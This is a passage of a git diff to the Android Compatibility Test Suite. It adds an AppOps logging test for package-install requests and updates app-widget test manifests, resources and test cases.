+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAppOps2TestCases.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="appops set android.app.appops2.cts REQUEST_INSTALL_PACKAGES allow" />
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/appops2" />
+        <option name="teardown-command" value="pm uninstall android.app.appops.cts.apptoblame" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts" />
+    </target_preparer>
+
+    <!-- Load additional APKs onto device -->
+    <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer" >
+        <option name="push-file" key="CtsAppToBlame1.apk" value="/data/local/tmp/cts/appops2/CtsAppToBlame1.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="hidden-api-checks" value="true" />
+        <option name="package" value="android.app.appops2.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/appop2/OWNERS b/tests/tests/appop2/OWNERS
new file mode 100644
index 0000000..3753dee
--- /dev/null
+++ b/tests/tests/appop2/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+moltmann@google.com
+zhanghai@google.com
+ntmyren@google.com
+eugenesusla@google.com
+svetoslavganov@google.com
+evanseverson@google.com
diff --git a/tests/tests/appop2/TEST_MAPPING b/tests/tests/appop2/TEST_MAPPING
new file mode 100644
index 0000000..dbf2444
--- /dev/null
+++ b/tests/tests/appop2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppOps2TestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/appop2/res/values/strings.xml b/tests/tests/appop2/res/values/strings.xml
new file mode 100644
index 0000000..ab27f6a
--- /dev/null
+++ b/tests/tests/appop2/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="dummyLabel">A feature</string>
+</resources>
diff --git a/tests/tests/appop2/src/android/app/appops2/cts/AppOpsLoggingTest.kt b/tests/tests/appop2/src/android/app/appops2/cts/AppOpsLoggingTest.kt
new file mode 100644
index 0000000..faa52a2
--- /dev/null
+++ b/tests/tests/appop2/src/android/app/appops2/cts/AppOpsLoggingTest.kt
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops2.cts
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.OnOpNotedCallback
+import android.app.AppOpsManager.permissionToOp
+import android.app.AsyncNotedAppOp
+import android.app.PendingIntent
+import android.app.SyncNotedAppOp
+import android.app.appops.cts.eventually
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
+import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
+import android.content.IntentFilter
+import android.content.pm.PackageInstaller.EXTRA_STATUS
+import android.content.pm.PackageInstaller.STATUS_FAILURE_INVALID
+import android.content.pm.PackageInstaller.STATUS_PENDING_USER_ACTION
+import android.content.pm.PackageInstaller.SessionParams
+import android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL
+import android.platform.test.annotations.AppModeFull
+import androidx.test.platform.app.InstrumentationRegistry
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+import java.io.File
+import java.util.concurrent.Executor
+
+private const val TEST_ATTRIBUTION_TAG = "testAttribution"
+
+@AppModeFull(reason = "Test relies on other app to connect to. Instant apps can't see other apps")
+class AppOpsLoggingTest {
+    private val context = InstrumentationRegistry.getInstrumentation().targetContext
+    private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+    // Collected note-op calls inside of this process
+    private val noted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+    private val selfNoted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+    private val asyncNoted = mutableListOf<AsyncNotedAppOp>()
+
+    @Before
+    fun setNotedAppOpsCollectorAndClearCollectedNoteOps() {
+        setNotedAppOpsCollector()
+        clearCollectedNotedOps()
+    }
+
+    private fun clearCollectedNotedOps() {
+        noted.clear()
+        selfNoted.clear()
+        asyncNoted.clear()
+    }
+
+    private fun setNotedAppOpsCollector() {
+        appOpsManager.setOnOpNotedCallback(Executor { it.run() },
+                object : OnOpNotedCallback() {
+                    override fun onNoted(op: SyncNotedAppOp) {
+                        noted.add(op to Throwable().stackTrace)
+                    }
+
+                    override fun onSelfNoted(op: SyncNotedAppOp) {
+                        selfNoted.add(op to Throwable().stackTrace)
+                    }
+
+                    override fun onAsyncNoted(asyncOp: AsyncNotedAppOp) {
+                        asyncNoted.add(asyncOp)
+                    }
+                })
+    }
+
+    /**
+     * Realistic end-to-end test for requesting to install a package
+     */
+    @Test
+    fun requestInstall() {
+        val pi = context.createAttributionContext(TEST_ATTRIBUTION_TAG).packageManager
+                .packageInstaller
+        val sessionId = pi.createSession(SessionParams(MODE_FULL_INSTALL))
+
+        val session = pi.openSession(sessionId)
+        try {
+            // Write apk data to session
+            File("/data/local/tmp/cts/appops2/CtsAppToBlame1.apk")
+                    .inputStream().use { fileOnDisk ->
+                        session.openWrite("base.apk", 0, -1).use { sessionFile ->
+                            fileOnDisk.copyTo(sessionFile)
+                        }
+                    }
+
+            val installAction = context.packageName + ".install_cb"
+            context.registerReceiver(object : BroadcastReceiver() {
+                override fun onReceive(ignored: Context?, intent: Intent) {
+                    if (intent.getIntExtra(EXTRA_STATUS, STATUS_FAILURE_INVALID)
+                            != STATUS_PENDING_USER_ACTION) {
+                        return
+                    }
+
+                    // Start package install request UI (should trigger REQUEST_INSTALL_PACKAGES)
+                    val activityIntent = intent.getParcelableExtra<Intent>(Intent.EXTRA_INTENT)
+                    activityIntent!!.addFlags(
+                            FLAG_ACTIVITY_CLEAR_TASK or FLAG_ACTIVITY_NEW_TASK)
+                    context.startActivity(activityIntent)
+                }
+            }, IntentFilter(installAction))
+
+            // Commit session (should trigger installAction receiver)
+            session.commit(PendingIntent.getBroadcast(context, 0, Intent(installAction),
+                    PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE).intentSender)
+
+            eventually {
+                assertThat(asyncNoted[0].op).isEqualTo(
+                        permissionToOp(android.Manifest.permission.REQUEST_INSTALL_PACKAGES))
+                assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+            }
+        } finally {
+            session.abandon()
+        }
+    }
+
+    @After
+    fun removeNotedAppOpsCollector() {
+        appOpsManager.setOnOpNotedCallback(null, null)
+    }
+}
diff --git a/tests/tests/appwidget/Android.bp b/tests/tests/appwidget/Android.bp
index afdd641..461b18d 100644
--- a/tests/tests/appwidget/Android.bp
+++ b/tests/tests/appwidget/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "CtsAppWidgetSources",
     srcs: [
diff --git a/tests/tests/appwidget/AndroidManifest.xml b/tests/tests/appwidget/AndroidManifest.xml
index 4c23851..645bdc5 100644
--- a/tests/tests/appwidget/AndroidManifest.xml
+++ b/tests/tests/appwidget/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2014 The Android Open Source Project
  *
@@ -17,81 +16,88 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appwidget.cts"
-    android:targetSandboxVersion="2">
+     package="android.appwidget.cts"
+     android:targetSandboxVersion="2">
 
   <application>
       <uses-library android:name="android.test.runner"/>
 
-      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.FirstAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/first_appwidget_info" />
+               android:resource="@xml/first_appwidget_info"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.SecondAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/second_appwidget_info" />
+               android:resource="@xml/second_appwidget_info"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider1" >
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider1"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info_with_feature1" />
+               android:resource="@xml/appwidget_info_with_feature1"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider2" >
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider2"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info_with_feature2" />
+               android:resource="@xml/appwidget_info_with_feature2"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider3" >
+      <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider3"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/appwidget_info_with_feature3" />
+               android:resource="@xml/appwidget_info_with_feature3"/>
       </receiver>
 
-      <receiver android:name="android.appwidget.cts.provider.CollectionAppWidgetProvider" >
+      <receiver android:name="android.appwidget.cts.provider.CollectionAppWidgetProvider"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+              <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
           </intent-filter>
           <meta-data android:name="android.appwidget.provider"
-              android:resource="@xml/collection_appwidget_info" />
+               android:resource="@xml/collection_appwidget_info"/>
       </receiver>
 
       <service android:name="android.appwidget.cts.service.MyAppWidgetService"
-          android:permission="android.permission.BIND_REMOTEVIEWS">
+           android:permission="android.permission.BIND_REMOTEVIEWS">
       </service>
 
       <activity android:name="android.appwidget.cts.activity.EmptyActivity"
-                android:label="EmptyActivity">
+           android:label="EmptyActivity"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.MAIN" />
-              <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+              <action android:name="android.intent.action.MAIN"/>
+              <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
           </intent-filter>
       </activity>
 
       <activity android:name="android.appwidget.cts.activity.TransitionActivity"
-          android:label="TransitionActivity" />
+           android:label="TransitionActivity"/>
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-      android:targetPackage="android.appwidget.cts"
-      android:label="Tests for the app widget APIs.">
+       android:targetPackage="android.appwidget.cts"
+       android:label="Tests for the app widget APIs.">
       <meta-data android:name="listener"
-          android:value="com.android.cts.runner.CtsTestRunListener" />
+           android:value="com.android.cts.runner.CtsTestRunListener"/>
   </instrumentation>
 
 </manifest>
diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.bp b/tests/tests/appwidget/packages/launchermanifest/Android.bp
index 0c953a8..313667e 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.bp
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWidgetLauncher1",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
index 47d1e05..1decc84 100644
--- a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
@@ -16,12 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.packages">
+     package="android.appwidget.cts.packages">
 
     <application>
-        <activity android:name="AppWidgetConfirmPin">
+        <activity android:name="AppWidgetConfirmPin"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.content.pm.action.CONFIRM_PIN_APPWIDGET" />
+                <action android:name="android.content.pm.action.CONFIRM_PIN_APPWIDGET"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
index 57c4e4d..0c6707f 100644
--- a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest.xml
@@ -16,15 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.packages"
-          android:targetSandboxVersion="2">
+     package="android.appwidget.cts.packages"
+     android:targetSandboxVersion="2">
 
     <application>
-        <activity android:name="Launcher">
+        <activity android:name="Launcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/appwidget/packages/widgetprovider/Android.bp b/tests/tests/appwidget/packages/widgetprovider/Android.bp
index 316ad8c..c4a64a8 100644
--- a/tests/tests/appwidget/packages/widgetprovider/Android.bp
+++ b/tests/tests/appwidget/packages/widgetprovider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWidgetProvider1",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
index 2c1db2f..1d4e17f 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
@@ -16,18 +16,19 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.widgetprovider">
+     package="android.appwidget.cts.widgetprovider">
 
     <application>
-        <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
+        <receiver android:name="android.appwidget.cts.packages.SimpleProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
-                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
+                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/widget_no_config" />
+                 android:resource="@xml/widget_no_config"/>
             <meta-data android:name="my_custom_info"
-                       android:resource="@xml/widget_config" />
+                 android:resource="@xml/widget_config"/>
         </receiver>
     </application>
 </manifest>
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
index 8a070b4..6674f54 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
@@ -16,18 +16,19 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.widgetprovider">
+     package="android.appwidget.cts.widgetprovider">
 
     <application>
-        <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
+        <receiver android:name="android.appwidget.cts.packages.SimpleProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
-                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
+                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/widget_no_config" />
+                 android:resource="@xml/widget_no_config"/>
             <meta-data android:name="my_custom_info"
-                       android:resource="@xml/widget_config_no_resize" />
+                 android:resource="@xml/widget_config_no_resize"/>
         </receiver>
     </application>
 </manifest>
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
index f6f012e..ac77f90 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.widgetprovider">
+     package="android.appwidget.cts.widgetprovider">
 
     <application>
-        <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
+        <receiver android:name="android.appwidget.cts.packages.SimpleProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
-                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
+                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/widget_no_config" />
+                 android:resource="@xml/widget_no_config"/>
         </receiver>
     </application>
 </manifest>
diff --git a/tests/tests/appwidget/res/layout/preview_layout.xml b/tests/tests/appwidget/res/layout/preview_layout.xml
new file mode 100644
index 0000000..6a5153a
--- /dev/null
+++ b/tests/tests/appwidget/res/layout/preview_layout.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<TextView android:id="@+id/widget_preview"
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:text="Widget preview" />
\ No newline at end of file
diff --git a/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml b/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
index ec621da..d9dbe8a 100644
--- a/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
+++ b/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
@@ -13,11 +13,22 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<TextView
+<LinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/item"
-    android:layout_width="120dp"
-    android:layout_height="120dp"
-    android:gravity="center"
-    android:textStyle="bold"
-    android:textSize="44sp" />
+    android:id="@+id/root"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:orientation="horizontal">
+    <Switch
+        android:id="@+id/toggle"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+    <TextView
+        android:id="@+id/item"
+        android:layout_width="120dp"
+        android:layout_height="120dp"
+        android:gravity="center"
+        android:textStyle="bold"
+        android:textSize="44sp" />
+</LinearLayout>
+
diff --git a/tests/tests/appwidget/res/values/constants.xml b/tests/tests/appwidget/res/values/constants.xml
index 375dae3..8879817 100644
--- a/tests/tests/appwidget/res/values/constants.xml
+++ b/tests/tests/appwidget/res/values/constants.xml
@@ -24,6 +24,10 @@
 
     <dimen name="first_min_resize_appwidget_size">60dp</dimen>
 
+    <dimen name="first_max_resize_appwidget_size">60dp</dimen>
+
+    <integer name="first_target_cell_appwidget_size">1</integer>
+
     <integer name="first_update_period_millis">86400000</integer>
 
     <integer name="first_resize_mode">3</integer>
@@ -38,6 +42,10 @@
 
     <dimen name="second_min_resize_appwidget_size">70dp</dimen>
 
+    <dimen name="second_max_resize_appwidget_size">70dp</dimen>
+
+    <integer name="second_target_cell_appwidget_size">2</integer>
+
     <integer name="second_update_period_millis">86500000</integer>
 
     <integer name="second_resize_mode">1</integer>
diff --git a/tests/tests/appwidget/res/values/strings.xml b/tests/tests/appwidget/res/values/strings.xml
new file mode 100644
index 0000000..ef4e5b8e
--- /dev/null
+++ b/tests/tests/appwidget/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<resources>
+    <string name="widget_description">Widget description</string>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/appwidget/res/xml/first_appwidget_info.xml b/tests/tests/appwidget/res/xml/first_appwidget_info.xml
index d7c1028..1b99444 100644
--- a/tests/tests/appwidget/res/xml/first_appwidget_info.xml
+++ b/tests/tests/appwidget/res/xml/first_appwidget_info.xml
@@ -20,12 +20,18 @@
     android:minHeight="@dimen/first_min_appwidget_size"
     android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
     android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+    android:maxResizeWidth="@dimen/first_max_resize_appwidget_size"
+    android:maxResizeHeight="@dimen/first_max_resize_appwidget_size"
+    android:targetCellWidth="@integer/first_target_cell_appwidget_size"
+    android:targetCellHeight="@integer/first_target_cell_appwidget_size"
     android:updatePeriodMillis="@integer/first_update_period_millis"
     android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
     android:resizeMode="horizontal|vertical"
     android:widgetCategory="home_screen|keyguard"
     android:initialLayout="@layout/first_initial_layout"
+    android:description="@string/widget_description"
     android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
     android:previewImage="@drawable/first_android_icon"
+    android:previewLayout="@layout/preview_layout"
     android:autoAdvanceViewId="@id/first_auto_advance_view_id">
 </appwidget-provider>
diff --git a/tests/tests/appwidget/res/xml/second_appwidget_info.xml b/tests/tests/appwidget/res/xml/second_appwidget_info.xml
index d192b10..d6acd30 100644
--- a/tests/tests/appwidget/res/xml/second_appwidget_info.xml
+++ b/tests/tests/appwidget/res/xml/second_appwidget_info.xml
@@ -20,6 +20,10 @@
     android:minHeight="@dimen/second_min_appwidget_size"
     android:minResizeWidth="@dimen/second_min_resize_appwidget_size"
     android:minResizeHeight="@dimen/second_min_resize_appwidget_size"
+    android:maxResizeWidth="@dimen/second_max_resize_appwidget_size"
+    android:maxResizeHeight="@dimen/second_max_resize_appwidget_size"
+    android:targetCellWidth="@integer/second_target_cell_appwidget_size"
+    android:targetCellHeight="@integer/second_target_cell_appwidget_size"
     android:updatePeriodMillis="@integer/second_update_period_millis"
     android:configure="android.appwidget.cts.provider.SecondAppWidgetConfigureActivity"
     android:resizeMode="horizontal"
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetDimensionsTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetDimensionsTest.java
new file mode 100644
index 0000000..b97da67
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetDimensionsTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+
+import android.content.res.Resources;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+class AppWidgetDimensionsTest {
+
+    @Test
+    public void containerRadius_shouldBePositive() {
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        assertTrue(resources.getDimension(android.R.dimen.system_app_widget_background_radius) >= 0);
+    }
+
+    @Test
+    public void innerRadius_shouldBePositive() {
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        assertTrue(resources.getDimension(android.R.dimen.system_app_widget_inner_radius) >= 0);
+    }
+
+    @Test
+    public void internalPadding_shouldBePositive() {
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        assertTrue(resources.getDimension(android.R.dimen.system_app_widget_internal_padding) >= 0);
+    }
+}
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 944f873..4f1faad 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -16,6 +16,8 @@
 
 package android.appwidget.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -518,6 +520,10 @@
 
             Drawable previewImage = foundProvider.loadPreviewImage(context, 0);
             assertNotNull(previewImage);
+
+            assertThat(foundProvider.loadDescription(context)).isEqualTo("Widget description");
+
+            assertThat(foundProvider.previewLayout).isEqualTo(R.layout.preview_layout);
         } finally {
             // Clean up.
             host.deleteAppWidgetId(appWidgetId);
@@ -1403,6 +1409,16 @@
                         AppWidgetProviderWithFeatures.Provider3.class.getName())).widgetFeatures);
     }
 
+
+    @AppModeFull(reason = "Instant apps cannot provide or host app widgets")
+    @Test
+    public void testAppWidgetGetProviderInfo() {
+        AppWidgetProviderInfo info = getFirstAppWidgetProviderInfo();
+        assertNotNull(info.getProviderInfo());
+        assertEquals(info.provider.getClassName(), info.getProviderInfo().name);
+        assertEquals(info.provider.getPackageName(), info.getProviderInfo().packageName);
+    }
+
     private void waitForCallCount(AtomicInteger counter, int expectedCount) {
         synchronized (mLock) {
             final long startTimeMillis = SystemClock.uptimeMillis();
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
index c4d4fcd..57ad443 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
@@ -16,6 +16,8 @@
 
 package android.appwidget.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
